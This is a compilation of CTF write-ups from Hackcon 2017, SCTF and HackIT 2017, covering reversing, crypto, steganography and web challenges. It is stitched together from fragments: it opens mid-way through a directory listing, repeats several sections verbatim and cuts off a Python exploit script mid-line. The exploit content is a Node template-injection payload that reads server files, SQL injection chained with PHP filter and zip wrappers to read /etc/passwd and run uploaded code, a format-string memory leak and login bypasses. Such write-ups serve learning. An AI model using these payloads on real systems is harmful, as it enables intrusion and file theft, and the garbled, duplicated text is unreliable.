root root 0 Aug 7 10:25 procdrwx------ 3 root root 4096 Aug 1 16:35 rootdrwxr-xr-x 23 root root 980 Aug 11 06:11 run-rwxr-xr-x 1 root root 35 Aug 5 15:22 run_echo.shdrwxr-xr-x 2 root root 12288 Aug 1 16:24 sbindrwxr-xr-x 2 root root 4096 Apr 29 08:38 snapdrwxr-xr-x 2 root root 4096 Jun 19 23:49 srvdr-xr-xr-x 13 root root 0 Aug 15 08:36 sysdrwxrwxrwt 8 root root 4096 Aug 15 10:17 tmpdrwxr-xr-x 10 root root 4096 Jun 19 23:49 usrdrwxr-xr-x 13 root root 4096 Jun 19 23:52 varlrwxrwxrwx 1 root root 27 Aug 11 06:11 vmlinuz -> boot/vmlinuz-4.4.0-1030-awslrwxrwxrwx 1 root root 27 Aug 4 06:56 vmlinuz.old -> boot/vmlinuz-4.4.0-1028-aws
flag{32ee124c49e3de4555b0f1c063539ef0}[*] Closed connection to echo.stillhackinganyway.nl port 1337``` |
We're given a huge text file. Just some regex with grep and we have the flag :D ``` $ cat text.txt | grep "d4rk[{}a-zA-Z0-9_]*" ...billows caused by the waxing and d4rk{n33dle_in_a_h4ystck}c0de waning of the moon the parent of Vasudeva's... |
# Hackcon_WriteUps_2017WriteUps for CTF event Hackcon 2017 by IIIT-D
# Challenges## Rev1. **Keygen**
You're given a executable file `match_me` Let's see what it does ``` $ ./match_me 12 <input_guess> Nope <output> ``` Lets have a look at dynamic library calls for no input. ``` $ ltrace ./match_me __libc_start_main(0x400a03, 1, 0x7ffcd5f460a8, 0x400ad0 <unfinished ...> malloc(1000) = 0x133c010 scanf(0x400b6d, 0x133c010, 0x133c010, 0x7f217ad32b20) = 0xffffffff malloc(1000) = 0x133c810 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strncmp("firhfgferfibbqlkdfhh", "[[[[[[[[[[[[[[[[[[[[", 20) = 11 puts("Nope"Nope ) = 5 +++ exited (status 0) +++ ``` Interesting. `strcmp` is being called to compare a hardcoded string "firhfgferfibbqlkdfhh" with some other string. Lets run again the ltrace with input "12" (without quotes) ``` $ ltrace ./match_me __libc_start_main(0x400a03, 1, 0x7ffcd5f460a8, 0x400ad0 <unfinished ...> malloc(1000) = 0x133c010 scanf(0x400b6d, 0x133c010, 0x133c010, 0x7f217ad32b20) = 0xffffffff malloc(1000) = 0x133c810 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strncmp("firhfgferfibbqlkdfhh", "S[[[[[[[[[[[[[[[[[[[", 20) = 11 puts("Nope"Nope ) = 5 +++ exited (status 0) +++ ``` Nice, so we see that integer 12 is mapped to "S" (See the change of compared string from "[[[[[[..." to "S[[[..."). So, all we have to do is write a simple script to find mappings of all integers from 1-100 to corresponding characters. So, we get 59:f, 76:i, 65:r and so on. Key with all mappings done = firhfgferfibbqlkdfhh: 5976657559745958655976555564937857597575 Let's check our executable with above key ``` $ ./match_me 5976657559745958655976555564937857597575 Match ``` Yay! Now we need to send this key to defcon.org.in:8082 ``` $ echo "5976657559745958655976555564937857597575" | nc defcon.org.in 8082 Flag: d4rk{595c7f5b595a59587f595c55557e5f5e57595b5b}c0de ```2. **Keygen-2** It's the exact same as Keygen-1, but a little different. Let's just connect to the given port and see what does it want? ``` $ nc defcon.org.in 8083 Send me 10 keys for getting a match separated by \n, followed by a NULL/EOF character. ``` No executable is given for this challenge, and it's given that it's related to Keygen-1. So, we just send the key obtained in previous challenge, repeated 10 times, separated by \n. ``` $ echo "5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575" | nc defcon.org.in 8083 Flag: d4rk{r0ck1ng_keyg3n_123}c0de ```3. **Not Web**
We're provided a file named `ihatejs.hs`. No other information is given. The code was minified and obfuscated, so I unminified it first, and tried to look at it, but couldn't understand much because of the level of obfuscation. So, after a while, I just went on and executed the js file to see if something happens. ``` $ node ihatejs.js d4rk{ccjccpbsvrafrcatbpchjydiio}c0de ``` Voila! That was easier than expected!## Web1. **Noobcoder**
Let's have a look at the challenge description. > A junior recently started doing PHP, and makes some random shit. He uses gedit as his go-to editor with a black theme thinking it was sublime. So he made this login portal, I am sure he must have left something out. Why don't you give it a try? First thing that comes to mind after reading this is, there should be some vulnerability/exploit gedit/PHP related. After reading about gedit a little bit, I came to know that it autosaves files with a `~` at end, example: `index.php~`. This can be used to pull source code / files from the server. On the website link (http://defcon.org.in:6062) provided in the challenge, after trying some guess username and password combination, it is observed that the data is passed to `checker.php` to verify the credentials.   So, I just change the url to http://defcon.org.in:6062/checker.php~ and Voila! I've downloaded the checker.php file and now, have the source code that checks my credentials. Lets have a look at `checker.php~` ``` <html> <head></head> <body> </body> </html> ``` Looking at if statement in the file, two things: - $x == $y returns true if $x and $y evaluate to same thing irrespective of type - $x !== $y returns true if $x and $y are not equal, or they are of not same type Both above conditions need to be fulfilled so that I can get flag. I quickly went on with username: "100" and password: 100 but didn't work :D ($\_POST handles everything as string by default). After thinking sometime, I found a workaround. `Username: 100, Password: 1e2`. Now both have different types but get evaluated to same value, thus satisfying both conditions. Click on Sign In, and here we go! `congratulations the flag is d4rk{l0l_g3dit_m4ster_roxx}c0de`2. **Magic**
Lets have a look at challenge description. > Everything disappears magically. Can you magically prevent that? http://defcon.org.in:6060/index.php There's hint hidden in description itself. "Everything disappears magically" -> may be something cookie/session related. So, I fire up firebug add-on in firefox and intercept requests and see what happens. Boom! Have a look at response headers. ``` Connection close Content-type text/html; charset=UTF-8 Host defcon.org.in:6060 Set-Cookie 0=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 1=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 2=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 3=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 4=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 5=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ 6=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/ ... ``` What's of my interest is the value being set for each id: 0=%2B, 1=%2B, 2=%2B ... so on. These are url_encoded values I quickly wrote a [python script](http://bit.ly/2w8lthw) to parse these mappings and decode the url_encoded data. ``` $ python hack.py ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.----------- --.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.------------- --.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++ .<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++. ``` Above is nothing but, brainfuck code. Just run it through an online [brainfuck interpreter](https://copy.sh/brainfuck/). This is the output: `username: abERsdhw password: HHealskdwwpr`. Typing these credentials in the index.php form, and submitting it, redirects to `panel.php` with output: `d4rk{c00k13s_4r3_fun}c0de`. Hurray!## Steg1. **White**
We're given a huge png [file](https://hackcon.in/files/fa152fbb6c29afbfaf4f4eb95f898245/final.png) (~47 MB). Usually stegs are most times solved by analysing spectrogram or hex code. Unfortunately, spectrogram didn't provide any hint. So, I opened the png in my hex editor (bless). Interestingly, I found huge base64 code at end of the file. When I decoded it, it gave me another png file with base64 code at the end of the file. So, I wrote up a [python script](http://bit.ly/2wf5xZd) to recursively decode and store each image until there's no base64 code hidden in the file anymore. Inspecting all the decoded png files, I noticed that the png files contained section of flags. There were total 30 pngs. To assemble them all together and make the flag more easily readable, run the command `montage final-*png -tile 6x5 -geometry +0+0 flag.png` When you open the flag.png, you can easily read the flag as `d4rk{1mag3_m4n1pul4t10n_f7w}c0d3`## Crypto1. **RSA-2**
> For those, who don't know much about rsa and it's encryption and decryption algorithm, have a look [here](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
We're given following data ``` n = 109676931776753394141394564514720734236796584022842820507613945978304098920529412415619708851314423671483225500317195833435789174491417871864260375066278885574232653256425434296113773973874542733322600365156233965235292281146938652303374751525426102732530711430473466903656428846184387282528950095967567885381 e = 49446678600051379228760906286031155509742239832659705731559249988210578539211813543612425990507831160407165259046991194935262200565953842567148786053040450198919753834397378188932524599840027093290217612285214105791999673535556558448523448336314401414644879827127064929878383237432895170442176211946286617205 c = 103280644092615059984518332609100925251130437801342718478803923990158474621180283788652329522078935869010936203566024336697568861166241737937884153980866061431062015970439320809653170936674539901900312536610219900459284854811622720209705994060764318380465515920139663572083312965314519159261624303103692125635 ``` First thing that would come to mind is find p and q by facorizing n. But **LOL**, can't factorise such huge number. Interesting fact is that such lalrge value of e is not usually the case. I googled about it a bit, and found that RSA with such large e is easily prone to [Wiener Attack](https://en.wikipedia.org/wiki/Wiener%27s_attack). So, I quickly wrote a [python script](http://bit.ly/2xnxKx0) to solve this challenge. ``` $ python rsa_2.py d4rk{1_70ld_y0u_th15_would_8e_more_difficult}c0de ```## Bacche (Easy Category Challenges)1. **Rotate-it**
> Found this weird code can you make something out of it? q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr As the name suggests, this is a shift cipher with shift_key = 13. `Flag: d4rk{wh0_give$_ca3sar_in_ctf???}c0de`2. **High Bass**
> The secret code just became longer. VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl Again, as the name suggests, "Bass" is hinting towards base64. ``` $ echo "VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl" | base64 -d This was in base-64: d4rk{that_$impl_3n0ugh4_U}c0de ```3. **File**
This can't be more easy! You're given an executable. Just run it, and it gives the flag :D ``` $ ./one d4rk{s1mpl_linux_execUt4ble}c0de ```4. **Needle**
We're given a huge text file. Just some regex with grep and we have the flag :D ``` $ cat text.txt | grep "d4rk[{}a-zA-Z0-9_]*" ...billows caused by the waxing and d4rk{n33dle_in_a_h4ystck}c0de waning of the moon the parent of Vasudeva's... ```5. **ALL CAPS**
> OF EKBHMGUKZHJB, Z LWALMOMWMOGF EOHJTK OL Z DTMJGX GY TFEGXOFU AB NJOEJ WFOML GY HSZOFMTVM ZKT KTHSZETX NOMJ EOHJTKMTVM, ZEEGKXOFU MG Z YOVTX LBLMTD; MJT "WFOML" DZB AT LOFUST STMMTKL (MJT DGLM EGDDGF), HZOKL GY STMMTKL, MKOHSTML GY STMMTKL, DOVMWKTL GY MJT ZAGRT, ZFX LG YGKMJ. MJT KTETORTK XTEOHJTKL MJT MTVM AB HTKYGKDOFU MJT OFRTKLT LWALMOMWMOGF. MJZFQL YGK KTZXOFU MJZM, JTKT'L BGWK YSZU: X4KQ{MKB_YZEEJ3_OYMJOL_MGG_LODHTS}E0XT Look closesly at the end, it looks like substitution cipher. Easy! > IN CRYPTOGRAPHY, A SUBSTITUTION CIPHER IS A METHOD OF ENCODING BY WHICH UNITS OF PLAINTEXT ARE REPLACED WITH CIPHERTEXT, ACCORDING TO A FIXED SYSTEM; THE "UNITS" MAY BE SINGLE LETTERS (THE MOST COMMON), PAIRS OF LETTERS, TRIPLETS OF LETTERS, MIXTURES OF THE ABOVE, AND SO FORTH. THE RECEIVER DECIPHERS THE TEXT BY PERFORMING THE INVERSE SUBSTITUTION. THANKS FOR READING THAT, HERE'S YOUR FLAG: D4RK{TRY_FACCH3_IFTHIS_TOO_SIMPEL}C0DE
6. **Caves**
We're given an image and we need to decipher it.  A little bit of googling, and we find out it's [Egyptian Glyph Alphabet](http://www.virtual-egypt.com/newhtml/hieroglyphics/sample/alphabet.gif) After decoding, we get `THE FLAG IS EGYPTISBETTERTHANYOU`7. **RSA-1**
Very simple RSA. All the needed things are given. ``` p = 152571978722786084351886931023496370376798999987339944199021200531651275691099103449347349897964635706112525455731825020638894818859922778593149300143162720366876072994268633705232631614015865065113917174134807989294330527442191261958994565247945255072784239755770729665527959042883079517088277506164871850439 q = 147521976719041268733467288485176351894757998182920217874425681969830447338980333917821370916051260709883910633752027981630326988193070984505456700948150616796672915601007075205372397177359025857236701866904448906965019938049507857761886750656621746762474747080300831166523844026738913325930146507823506104359 c = 8511718779884002348933302329129034304748857434273552143349006561412761982574325566387289878631104742338583716487885551483795770878333568637517519439482152832740954108568568151340772337201643636336669393323584931481091714361927928549187423697803637825181374486997812604036706926194198296656150267412049091252088273904913718189248082391969963422192111264078757219427099935562601838047817410081362261577538573299114227343694888309834727224639741066786960337752762092049561527128427933146887521537659100047835461395832978920369260824158334744269055059394177455075510916989043073375102773439498560915413630238758363023648 e = 65537 ``` Simple [python script](http://bit.ly/2wStLuE) to solve it. ``` $ python rsa_1.py d4rk{s1mpl3_rsa_n0t_th1s_34sy_next_time}c0de ```8. **flag.txt**
Let's look at description. > Even google won't be able to find the flag. Still you can try if you want: http://defcon.org.in:6061/ First thing that strikes from "google won't be able to find the flag" => there's got to be robots.txt file :D Hitting http://defcon.org.in:6061/robots.txt returns ``` User-agent: * Disallow: /500786fbfb9cadc4834cd3783894239d ``` Now, I got stuck at this for a while as I was trying to access http://defcon.org.in:6061/500786fbfb9cadc4834cd3783894239d but DUH, that's a directory, not a file. That's why it kept giving me 404. Hmmm, must be a file in that directory then, that I need to access. A couple more minutes, and it struck me. What's the name of challenge LOL? (flag.txt) :P So, I quickly hit the page http://defcon.org.in:6061/500786fbfb9cadc4834cd3783894239d/flag.txt in my browser and Voila! `The flag is d4rk{r0b075_7x7_4r3_v3ry_c0mm0n}c0de`9. **Numbers**
> These are some numbers, try to make sense of them. We're given a huge text file with data like `(361, 15, 0, 0, 0) (267, 77, 1020, 1020, 1020) (380, 272, 1020, 1020, 1020) (171, 340, 0, 0, 0)...`. After analysing for sometime, I realised that these numbers maybe (x, y, r, g, b) denoting x and y coordinates of a pixel and it's r-g-b value. And it's a binary image as rgb values of pixels were same and either 0 or 1020. So, I wrote a [python script](http://bit.ly/2wia6SQ) to parse this text file and make an image out of these numbers. Maybe the image will be having flag. Surprisingly, it was not yet the flag. It was a qr-code.  Still not over! When I decoded the qr-code, I got `ZDRya3txcmMwZDM1XzRyM19mdW5fdzE3aF9wMWx9YzBkZQpSYW5kb20gVGV4dCBJZ25vcmUgVGhpcyAuLi4uLi4uLi4uLi4uPT09PT09PT09PT09PT09PT09PT09` After thinking for a bit, I thought to go wtih the thought that it might be base64 string (length is multiple of 4). And, I was right! ``` $ echo "ZDRya3txcmMwZDM1XzRyM19mdW5fdzE3aF9wMWx9YzBkZQpSYW5kb20gVGV4dCBJZ25vcmUgVGhpcyAuLi4uLi4uLi4uLi4uPT09PT09PT09PT09PT09PT09PT09" | base64 -d d4rk{qrc0d35_4r3_fun_w17h_p1l}c0de Random Text Ignore This .............===================== ``` |
Let's look at description. > Even google won't be able to find the flag. Still you can try if you want: http://defcon.org.in:6061/
First thing that strikes from "google won't be able to find the flag" => there's got to be robots.txt file :D
Hitting http://defcon.org.in:6061/robots.txt returns ``` User-agent: * Disallow: /500786fbfb9cadc4834cd3783894239d ``` Now, I got stuck at this for a while as I was trying to access http://defcon.org.in:6061/500786fbfb9cadc4834cd3783894239d but DUH, that's a directory, not a file. That's why it kept giving me 404. Hmmm, must be a file in that directory then, that I need to access.
A couple more minutes, and it struck me. What's the name of challenge LOL? (flag.txt) :P
So, I quickly hit the page http://defcon.org.in:6061/500786fbfb9cadc4834cd3783894239d/flag.txt in my browser and Voila! `The flag is d4rk{r0b075_7x7_4r3_v3ry_c0mm0n}c0de` |
> The secret code just became longer. VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl
Again, as the name suggests, "Bass" is hinting towards base64. ``` $ echo "VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl" | base64 -d This was in base-64: d4rk{that_$impl_3n0ugh4_U}c0de |
Let's have a look at the challenge description. > A junior recently started doing PHP, and makes some random shit. He uses gedit as his go-to editor with a black theme thinking it was sublime. So he made this login portal, I am sure he must have left something out. Why don't you give it a try?
First thing that comes to mind after reading this is, there should be some vulnerability/exploit gedit/PHP related. After reading about gedit a little bit, I came to know that it autosaves files with a `~` at end, example: `index.php~`. This can be used to pull source code / files from the server.
On the website link (http://defcon.org.in:6062) provided in the challenge, after trying some guess username and password combination, it is observed that the data is passed to `checker.php` to verify the credentials. (if image not rendering, click open image in new tab and authenticate)  
So, I just change the url to http://defcon.org.in:6062/checker.php~ and Voila! I've downloaded the checker.php file and now, have the source code that checks my credentials. Lets have a look at `checker.php~` ``` <html> <head></head> <body> </body> </html> ``` Looking at if statement in the file, two things: - x == y returns true if x and y evaluate to same thing irrespective of type - x !== y returns true if x and y are not equal, or they are of not same type
Both above conditions need to be fulfilled so that I can get flag.
I quickly went on with username: "100" and password: 100 but didn't work :D ($\_POST handles everything as string by default). After thinking sometime, I found a workaround. `Username: 100, Password: 1e2`. Now both have different types but get evaluated to same value, thus satisfying both conditions. Click on Sign In, and here we go! `congratulations the flag is d4rk{l0l_g3dit_m4ster_roxx}c0de` |
Please, do not write just a link to original writeup here.
There are two kinds of writeup.
[KOR] : http://milchstra3e.tistory.com/4
[ENG] : http://milchstra3e.tistory.com/5 |
We're given a huge png [file](https://hackcon.in/files/fa152fbb6c29afbfaf4f4eb95f898245/final.png) (~47 MB). Usually stegs are most times solved by analysing spectrogram or hex code. Unfortunately, spectrogram didn't provide any hint. So, I opened the png in my hex editor (bless). Interestingly, I found huge base64 code at end of the file. When I decoded it, it gave me another png file with base64 code at the end of the file.
So, I wrote up a [python script](http://bit.ly/2wf5xZd) to recursively decode and store each image until there's no base64 code hidden in the file anymore. Inspecting all the decoded png files, I noticed that the png files contained section of flags. There were total 30 pngs. To assemble them all together and make the flag more easily readable, run the command `montage final-*png -tile 6x5 -geometry +0+0 flag.png`
When you open the flag.png, you can easily read the flag as `d4rk{1mag3_m4n1pul4t10n_f7w}c0d3` |
it uses jade template engine. and we can inject at "http://alieni.se:3003/render/inject_point".
http://alieni.se:3003/render/404 --> 404 is under construction... http://alieni.se:3003/render/7\*7 --> 49 is under construction... http://alieni.se:3003/render/root --> [object global] is under construction... http://alieni.se:3003/render/root.process.mainModule.require('fs').readdirSync('.') --> Dockerfile,hellothere,hellothere-just-testing-again,index.js,node_modules,package.json,run_service.sh,templates is under construction...
we can get file list of current directory.
http://alieni.se:3003/render/root.process.mainModule.require('fs').readFileSync('index.js') --> we can read index.js, and it has flag.
```var express = require('express');var request = require("request");var eval = require("eval");var ejs = require('ejs');var app = express();var spawn = spawn = require('threads').spawn;
var bodyParser = require('body-parser');app.use(bodyParser.urlencoded({ extended: true }));
app.listen(3003, function () { console.log('A temple jest app listening on port 3003!') });
app.get('/render/:name', function (req, res, next) { console.log(req.originalUrl); var thread = spawn(function(input, done) { var ejs = require('ejs'); flag = "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}"; var html = ejs.render("<%= "+input.name+" %> is under construction...<%# "+("---"+flag).repeat(20)+" %>", {}); done(html); });
//Hack to avoid for(;;){} hanging the whole server... setTimeout(function(){thread.kill();try{res.send("timeout");}catch(z){}}, 3000); thread.send({"name": req.params.name, flag: ""}).on("message", function(html){res.send(html)});});
app.get('/', function(req, res, next){ return ejs.renderFile('./templates/index.ejs', function(err, data){res.send(data);});});
app.get('/package.json', function(req, res, next){ res.sendfile('./package.json');});```
this is index.js source, and flag is "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}" |
<h1>HackIT CTF 2017 Writeups</h1>
<h3>Crypto (100): </h3>Description shows that its a playfair cipher with same original message, we can use some online tools to bruteforce it https://www.quinapalus.com/playfair.html worked just fine, after extracting each message we get the keyword to cipher itand finally we append the keywords together and put them in flag format h4ck1t{hackitisverydangercrypto}
<h3>Web (100): </h3>This challenge is about SQLi+LFI and turn that to RCE with the upload functionLooks like easy sql injection, but after fetching all tables and columns, only thing we got is a table named countries with 3 columns, nothing interestingbut when we try to get current query with SQLi using SELECT info FROM information_schema.processlistWe see the query : Select scripPath from countries where countryname='something'thats looks like an LFI to mee, when we inject countryname='' union select '/etc/passwd' -- - we get passwd fileI used PHP wrappers to pull index.php and country/fr.phpusing countryname='' union select 'php://filter/read=convert.base64-encode/resource=country/fr.php'when we get source code we can base64 decode it and see where the file uploaded are storedThis is the final part, we need to leverage the upload to a Remote code execution, I used a zip file containing php and uploaded itand used a zip wrapper to execute my php, http://tasks.ctf.com.ua:13372/index.php?country=%27%20union%20select%20%27zip://uploads/l33t.zip%23secret.php%27%20--%20- my php file contains scandir function thats equivalent to 'ls' i got this response :Array ( [0] => . [1] => .. [2] => .htaccess [3] => country [4] => index.php [5] => iulersiueruigfuihseruhgi.php [6] => static [7] => uploads )that php file looked interesting, let's open it : http://tasks.ctf.com.ua:13372/index.php?country=%27%20union%20select%20%27php://filter/read=convert.base64-encode/resource=iulersiueruigfuihseruhgi.php%27%20--%20-got this : PD9waHAKCiRmbGFnPSJoNGNrMXR7JFFMJkxGST1GUjEzTkQkfSI7Cgo/Pgo= base64 decode it and find some php code with flag"$flag=h4ck1t{$QL&LFI=FR13ND$};"that's our flag
<h3>Web (150): </h3>Hard task, was looking in all js files, then I found js/jquery.js which handles what the client types in main pageAfter analyzing it we find an interesting function with this variable inside : $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95];//times alt is pressed for Access GrantedTried to decode ascii code random word but there is an interesting condition if(key==$m[$c]-$c)tried to loop over the array and substract the index from each value to get $x=[70, 69, 69, 76, 82, 69, 65, 76, 72, 65, 67, 75, 69, 82]decoding the ascii : we get "FEELREALHACKER" put that in lower case and wrap it in flag format, and that's the flag h4ck1t{feelrealhacker} |
After connect, try check Format String vulnerability:
> eat sleep pwn repeat!> > pwn > > > %p> > repeat > > > 0x7ffff7dd59e0
Ok, its work! Lets read memory use next script:```python#!/usr/bin/pythonfrom pwn import *import binasciiimport struct
host = '139.59.13.232'port = 3200
txt = ''for x in [6, 7, 8]: r = remote(host, port) r.readuntil('pwn > \r\n') payload = 'p' r.sendline('%{x}${pl}\n'.format(x=x, pl=payload)) r.readuntil('repeat > \r\n') data = r.readline().strip() if '0x' in data: txt += struct.pack(' |
The flaw in the program is that it uses the same random values for Shahmir Secret Sharing, hence all the polynomials differ by only the constant term. We can cancel out the higher order terms in the polynomial and realise that y1 - y0 = x1 - x0, where yi is one of the shares of the ith character and xi is the ith character.
Since we now know the relative values of each character in the secret we can add different offsets to find the secret. |
> For those, who don't know much about rsa and it's encryption and decryption algorithm, have a look [here](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
We're given following data ``` n = 109676931776753394141394564514720734236796584022842820507613945978304098920529412415619708851314423671483225500317195833435789174491417871864260375066278885574232653256425434296113773973874542733322600365156233965235292281146938652303374751525426102732530711430473466903656428846184387282528950095967567885381 e = 49446678600051379228760906286031155509742239832659705731559249988210578539211813543612425990507831160407165259046991194935262200565953842567148786053040450198919753834397378188932524599840027093290217612285214105791999673535556558448523448336314401414644879827127064929878383237432895170442176211946286617205 c = 103280644092615059984518332609100925251130437801342718478803923990158474621180283788652329522078935869010936203566024336697568861166241737937884153980866061431062015970439320809653170936674539901900312536610219900459284854811622720209705994060764318380465515920139663572083312965314519159261624303103692125635 ``` First thing that would come to mind is find p and q by facorizing n. But **LOL**, can't factorise such huge number. Interesting fact is that such lalrge value of e is not usually the case. I googled about it a bit, and found that RSA with such large e is easily prone to [Wiener Attack](https://en.wikipedia.org/wiki/Wiener%27s_attack). So, I quickly wrote a [python script](http://bit.ly/2xnxKx0) to solve this challenge. ``` $ python rsa_2.py d4rk{1_70ld_y0u_th15_would_8e_more_difficult}c0de |
Voici un write up en français du challenge d1d13r en catégorie pwnable pour 300 points
Description : We stumbled upon a couple of generic purpose tools with sp3c14l capabilities. Can you abuse those?
[Write-up](https://p-te.fr/2017/08/06/shactf2017-d1d13r/) |
# Rev150 - Broken Packer
**Description:** Looks like this packer can not unpack what has been packed :( There are 2 mistakes in unpacking procedure. It leads to the error. Try to fix unpacker and figure out what is inside.
We had two ELF binaries, a packer and a packed file.```user@ubuntu:~/Schreibtisch/ITCTF$ file packerpacker: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=83a5497803c94765ad5b256de346473b64f36459, not stripped
user@ubuntu:~/Schreibtisch/ITCTF$ file packedpacked: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=cdc378f63011a71a8d0f096c6435765db04cbc0c, not stripped```Lets take a look at the packer routines first and fire up IDA. I'm not that used to the ELF headers, so I might miss some parts here... The packer basically preforms this actions: * Create a random key * XOR all the executable code with the key * Add a section with asm to decrypt the encrypted code * Store the start of the executable code, end of the executable code and the XOR key in the file * Change the EntryPoint to the new EP in the generated section
In *disguise_text()* we find:``` key = get_random_key(); for ( i = 0LL; i < v5; ++i ) { *(_BYTE *)(startOfCode + i) ^= key; v3 = rotate_right(v3); // = __ROR8__(v7, 8); }```The code injected in *create_section()* though looks like this (entry_loader):```v4 = info_addr;v5 = info_start;do { *(_BYTE *)v5 ^= v5; v5 = __ROR8__(v5, 8); v4 += 2LL;}while ( v4 != info_addr + info_size );```Acctually two things fail here: * The loader adds +=2 to the offset index, not 1 as intented * The pointer to the encrypted segment is wrong (turns out to be wrong register)
If you look at in the actual packed file we notice the 3 stored values first:```seg023:00000000006B54A4 qword_6B54A4 dq 49A4E28A75143878h => XOR KEYseg023:00000000006B54AC off_6B54AC dq offset sub_4003B0 => Start of executable codeseg023:00000000006B54B4 qword_6B54B4 dq 88C17h => Length of executable code```So lets fix the assembly code in the packed file:```mov rax, cs:off_6B54AC => start of code[...]xor [rdx], dl => Change to [rax],dlror rdx, 8add rax, 2 => Change to 1cmp rax, rcxjnz short loc_6B5489[...]jmp near ptr qword_400990 => JMP OEP```Patch the file and let the encryption run, dump the process and/or apply the decryption by hand. Doesn't matter how you get the decrypted code stored in the packed binary. Save the file and apply a simple JMP OEP patch at the start.```jmp near ptr qword_400990 => JMP OEP[...]// Old Decryption code```
When starting the patched, unpacked binary we get a nice text:```The hardest part is overcome.```But still the programm crashes immediatly with an invalid write operation from 0x00 memory right after this output. Wierd, it took me a while to figure out whats going on. Take a look at the callstack and see what function called the crashing function:```gdb-peda$ bt#0 0x000000000042194a in ?? ()#1 0x0000000000400bde in ?? ()``````.text:0000000000400BB8 lea rdi, aTheHardestPart ; "The hardest part is overcome.".text:0000000000400BBF call sub_407FC0 => print string.text:0000000000400BC4 mov rax, [rbp+var_10].text:0000000000400BC8 add rax, 8.text:0000000000400BCC mov rax, [rax].text:0000000000400BCF lea rsi, aCryp ; "cryp".text:0000000000400BD6 mov rdi, rax.text:0000000000400BD9 call sub_400370 => encryption function ??.text:0000000000400BDE test eax, eax.text:0000000000400BE0 jnz short loc_400BF5.text:0000000000400BE2 mov rax, [rbp+var_10].text:0000000000400BE6 add rax, 10h.text:0000000000400BEA mov rax, [rax].text:0000000000400BED mov rdi, rax.text:0000000000400BF0 call sub_400AAE.text:0000000000400BF5.text:0000000000400BF5 loc_400BF5: ; CODE XREF: sub_400BA9+37?j.text:0000000000400BF5 mov rax, [rbp+var_10].text:0000000000400BF9 add rax, 8.text:0000000000400BFD mov rax, [rax].text:0000000000400C00 lea rsi, aDecr ; "decr".text:0000000000400C07 mov rdi, rax .text:0000000000400C0A call sub_400370 => decryption function ??.text:0000000000400C11 jnz short loc_400C18.text:0000000000400C13 call sub_400B39 => XOR Function```Looks like some crypting and decrypting is going on. Lets call the program with arguments "cryp" or "decr". With "decr" as argument the program exits normally, so lets break after the "decrypt" function. It turns out that its not interesting, the next function is tough! It performs some XOR on a string:``` for ( i = (signed int)result; i >= 0; --i ) { result = aXEIBNuuDcMP_no; aXEIBNuuDcMP_no[i] ^= aXEIBNuuDcMP_no[v1 - 1 - i] ^ 0x80; } ```Looking at the registers after the function was executed, the flag was in RDI (it was deleted from RAX intentionally before the function was left ).
Flag: h4ck1t{mor0ns_rel1es_on_p4ck3r5_vari0rs_d03sn0t} |
# Rev250 - Secure Messenger
**Description:** Messengers are more secure nowadays. But what if they logging too much?
Ok it gets more interesting, only 7 teams solved this one. We had given an APK and two log files of the application, one logfile of Alice and one logfile of Bob. They basically looked like this:
